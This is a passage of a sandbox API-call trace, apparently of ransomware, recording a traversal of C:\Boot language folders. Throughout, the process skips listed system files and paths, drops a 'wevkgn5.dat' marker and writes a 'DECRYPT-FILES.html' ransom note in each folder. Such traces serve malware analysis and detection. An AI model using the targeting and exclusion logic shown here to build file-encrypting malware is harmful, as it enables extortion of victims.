nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0058.922] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0058.922] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88d28f90, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88d28f90, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.923] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0058.923] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0058.923] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0058.923] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0058.923] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0058.923] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0058.923] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0058.923] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0058.923] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0058.923] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0058.923] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0058.923] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0058.923] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0058.923] lstrlenW (lpString="C:\\Boot\\tr-TR\\") returned 14 [0058.923] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0058.923] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\tr-TR\\" | out: lpString1="C:\\Boot\\tr-TR\\") returned="C:\\Boot\\tr-TR\\" [0058.923] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\tr-TR\\bootmgr.exe.mui") returned="C:\\Boot\\tr-TR\\bootmgr.exe.mui" [0058.923] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.924] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.924] CloseHandle (hObject=0x0) returned 0 [0058.924] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.924] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c90a10, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88c90a10, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88d28f90, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0058.924] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0058.924] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c90a10, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88c90a10, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c90a10, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0058.924] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0058.924] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0058.924] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0058.924] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0058.924] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0058.924] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0058.924] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0058.924] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0058.924] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0058.924] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0058.925] lstrlenW (lpString="C:\\Boot\\tr-TR\\") returned 14 [0058.925] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.925] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\tr-TR\\" | out: lpString1="C:\\Boot\\tr-TR\\") returned="C:\\Boot\\tr-TR\\" [0058.925] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\tr-TR\\wevkgn5.dat") returned="C:\\Boot\\tr-TR\\wevkgn5.dat" [0058.925] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.925] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\wevkgn5.dat" (normalized: "c:\\boot\\tr-tr\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.925] CloseHandle (hObject=0x0) returned 0 [0058.925] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.925] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c90a10, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88c90a10, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88c90a10, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0058.926] FindClose (in: hFindFile=0x66cfd8 | out: hFindFile=0x66cfd8) returned 1 [0058.926] CloseHandle (hObject=0x300) returned 1 [0058.926] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8869d310, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x8869d310, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x8869d310, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0058.926] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0058.926] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0058.926] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0058.926] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0058.926] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0058.926] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0058.926] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0058.926] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0058.926] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0058.926] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0058.926] lstrlenW (lpString="C:\\Boot\\") returned 8 [0058.926] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.926] lstrcpyW (in: lpString1=0x321f268, lpString2="C:\\Boot\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0058.926] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\wevkgn5.dat") returned="C:\\Boot\\wevkgn5.dat" [0058.926] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0058.927] CreateFileW (lpFileName="C:\\Boot\\wevkgn5.dat" (normalized: "c:\\boot\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.927] CloseHandle (hObject=0x0) returned 0 [0058.927] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0058.927] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0058.927] lstrcmpW (lpString1="zh-CN", lpString2=".") returned 1 [0058.927] lstrcmpW (lpString1="zh-CN", lpString2="..") returned 1 [0058.927] lstrcatW (in: lpString1="zh-CN", lpString2="\\" | out: lpString1="zh-CN\\") returned="zh-CN\\" [0058.927] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="zh-CN\\" | out: lpString1="C:\\Boot\\zh-CN\\") returned="C:\\Boot\\zh-CN\\" [0058.927] StrStrW (lpFirst="C:\\Boot\\zh-CN\\", lpSrch=":\\Windows") returned 0x0 [0058.927] StrStrW (lpFirst="C:\\Boot\\zh-CN\\", lpSrch="\\Program Files") returned 0x0 [0058.927] StrStrW (lpFirst="C:\\Boot\\zh-CN\\", lpSrch="\\Games\\") returned 0x0 [0058.927] StrStrW (lpFirst="C:\\Boot\\zh-CN\\", lpSrch="\\Tor Browser\\") returned 0x0 [0058.927] StrStrW (lpFirst="C:\\Boot\\zh-CN\\", lpSrch="\\ProgramData\\") returned 0x0 [0058.927] StrStrW (lpFirst="C:\\Boot\\zh-CN\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0058.927] StrStrW (lpFirst="C:\\Boot\\zh-CN\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0058.927] StrStrW (lpFirst="C:\\Boot\\zh-CN\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0058.927] StrStrW (lpFirst="C:\\Boot\\zh-CN\\", lpSrch="\\All Users") returned 0x0 [0058.928] lstrlenW (lpString="C:\\Boot\\zh-CN\\") returned 14 [0058.928] lstrlenW (lpString="wevkgn5.dat") returned 11 [0058.928] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\zh-CN\\\\wevkgn5.dat") returned 26 [0058.928] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\\\wevkgn5.dat" (normalized: "c:\\boot\\zh-cn\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x300 [0058.928] lstrlenW (lpString="C:\\Boot\\zh-CN\\") returned 14 [0058.928] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0058.928] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\zh-CN\\\\DECRYPT-FILES.html") returned 33 [0058.928] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\zh-cn\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0058.999] WriteFile (in: hFile=0x2fc, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0059.000] CloseHandle (hObject=0x2fc) returned 1 [0059.000] lstrlenW (lpString="C:\\Boot\\zh-CN\\") returned 14 [0059.000] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="*" | out: lpString1="C:\\Boot\\zh-CN\\*") returned="C:\\Boot\\zh-CN\\*" [0059.000] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88d75250, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88d75250, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0059.000] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0059.000] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88d75250, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88d75250, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.000] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0059.000] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0059.000] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.001] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0059.001] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0059.001] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0059.001] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0059.001] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0059.001] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0059.001] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0059.001] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0059.001] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0059.001] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0059.001] lstrlenW (lpString="C:\\Boot\\zh-CN\\") returned 14 [0059.001] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0059.001] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\zh-CN\\" | out: lpString1="C:\\Boot\\zh-CN\\") returned="C:\\Boot\\zh-CN\\" [0059.001] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned="C:\\Boot\\zh-CN\\bootmgr.exe.mui" [0059.001] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0059.001] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.005] CloseHandle (hObject=0x0) returned 0 [0059.005] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.005] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88d75250, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88d75250, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88d75250, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0059.005] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0059.005] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88d28f90, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88d28f90, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88d28f90, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0059.006] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0059.006] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0059.006] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0059.006] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0059.006] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0059.006] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0059.006] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0059.006] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0059.006] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0059.006] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0059.006] lstrlenW (lpString="C:\\Boot\\zh-CN\\") returned 14 [0059.006] lstrlenW (lpString="wevkgn5.dat") returned 11 [0059.006] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\zh-CN\\" | out: lpString1="C:\\Boot\\zh-CN\\") returned="C:\\Boot\\zh-CN\\" [0059.006] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\zh-CN\\wevkgn5.dat") returned="C:\\Boot\\zh-CN\\wevkgn5.dat" [0059.006] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0059.006] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\wevkgn5.dat" (normalized: "c:\\boot\\zh-cn\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.006] CloseHandle (hObject=0x0) returned 0 [0059.007] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.007] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88d28f90, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88d28f90, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88d28f90, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0059.007] FindClose (in: hFindFile=0x66cfd8 | out: hFindFile=0x66cfd8) returned 1 [0059.007] CloseHandle (hObject=0x300) returned 1 [0059.007] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0059.007] lstrcmpW (lpString1="zh-HK", lpString2=".") returned 1 [0059.007] lstrcmpW (lpString1="zh-HK", lpString2="..") returned 1 [0059.007] lstrcatW (in: lpString1="zh-HK", lpString2="\\" | out: lpString1="zh-HK\\") returned="zh-HK\\" [0059.007] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="zh-HK\\" | out: lpString1="C:\\Boot\\zh-HK\\") returned="C:\\Boot\\zh-HK\\" [0059.007] StrStrW (lpFirst="C:\\Boot\\zh-HK\\", lpSrch=":\\Windows") returned 0x0 [0059.007] StrStrW (lpFirst="C:\\Boot\\zh-HK\\", lpSrch="\\Program Files") returned 0x0 [0059.007] StrStrW (lpFirst="C:\\Boot\\zh-HK\\", lpSrch="\\Games\\") returned 0x0 [0059.007] StrStrW (lpFirst="C:\\Boot\\zh-HK\\", lpSrch="\\Tor Browser\\") returned 0x0 [0059.007] StrStrW (lpFirst="C:\\Boot\\zh-HK\\", lpSrch="\\ProgramData\\") returned 0x0 [0059.008] StrStrW (lpFirst="C:\\Boot\\zh-HK\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0059.008] StrStrW (lpFirst="C:\\Boot\\zh-HK\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0059.008] StrStrW (lpFirst="C:\\Boot\\zh-HK\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0059.008] StrStrW (lpFirst="C:\\Boot\\zh-HK\\", lpSrch="\\All Users") returned 0x0 [0059.008] lstrlenW (lpString="C:\\Boot\\zh-HK\\") returned 14 [0059.008] lstrlenW (lpString="wevkgn5.dat") returned 11 [0059.008] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\zh-HK\\\\wevkgn5.dat") returned 26 [0059.008] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\\\wevkgn5.dat" (normalized: "c:\\boot\\zh-hk\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x300 [0059.008] lstrlenW (lpString="C:\\Boot\\zh-HK\\") returned 14 [0059.008] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0059.008] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\zh-HK\\\\DECRYPT-FILES.html") returned 33 [0059.008] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\zh-hk\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.051] WriteFile (in: hFile=0x304, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0059.052] CloseHandle (hObject=0x304) returned 1 [0059.052] lstrlenW (lpString="C:\\Boot\\zh-HK\\") returned 14 [0059.052] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="*" | out: lpString1="C:\\Boot\\zh-HK\\*") returned="C:\\Boot\\zh-HK\\*" [0059.052] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88de7670, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88de7670, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0059.053] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0059.053] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88de7670, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88de7670, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.053] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0059.053] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0059.053] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.053] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0059.053] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0059.053] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0059.053] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0059.053] lstrcmpiW 